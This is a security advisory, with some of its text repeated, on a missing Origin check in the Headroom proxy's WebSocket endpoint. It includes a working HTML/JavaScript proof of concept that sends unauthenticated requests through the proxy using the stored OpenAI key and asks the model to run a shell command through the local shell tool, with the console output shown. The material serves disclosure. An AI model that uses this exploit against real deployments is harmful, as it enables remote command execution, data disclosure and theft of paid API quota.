The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:
Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.
<html>
<body>
<script>
let headroomHost = '192.168.0.106';
let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);
let openAiPayload = {
type: "response.create",
model: "gpt-5.4",
instructions: "The local bash shell environment is on Linux.",
input: "Run the id command for the logged in user",
tools: [{type: "shell", environment: {type: "local"}}]
};
socket.addEventListener("open", (event) => {
let openAiPayloadStr = JSON.stringify(openAiPayload);
console.log(`Sending LLM request: ${openAiPayloadStr}`);
socket.send(openAiPayloadStr);
});
socket.addEventListener("message", (event) => {
console.log(`Response from server: ${event.data}`);
});
</script>
</body>
</html>
Sending LLM request: {"type":"response.create","model":"gpt-5.4","instructions":"The local bash shell environment is on Linux.","input":"Run the id command for the logged in user","tools":[{"type":"shell","environment":{"type":"local"}}]}
ws.html:22 Response from server: {"type":"response.created","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":0}
ws.html:22 Response from server: {"type":"response.in_progress","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":1}
ws.html:22 Response from server: {"type":"error","error":{"type":"insufficient_quota","code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.","param":null},"sequence_number":2}
ws.html:22 Response from server: {"type":"response.failed","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"failed","background":false,"completed_at":null,"error":{"code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors."},"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":3}
Allowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.
Summary
The Headroom WebSocket server does not validate the
Originheader of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in theOPENAI_API_KEYenvironment variable.Details
The Headroom server defines a WebSocket handler at
ws://<headroom_host>:8787/v1/responsesinheadroom/providers/proxy_routes.py:In the
handle_openai_responses_ws()method of theOpenAIHandlerMixinclass, theOriginheader of the WebSocket client handshake is not checked or verified before callingwebsocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:The malicious WebSocket client does not need to provide authentication headers or API keys as the
Authorizationheader is automatically populated with the OpenAI API key via theOPENAI_API_KEYenvironment variable, if it has been used to store the API key:Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary
instructions/inputprompts and tools.PoC
OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0Output
The
console.log()output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:Impact
Allowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.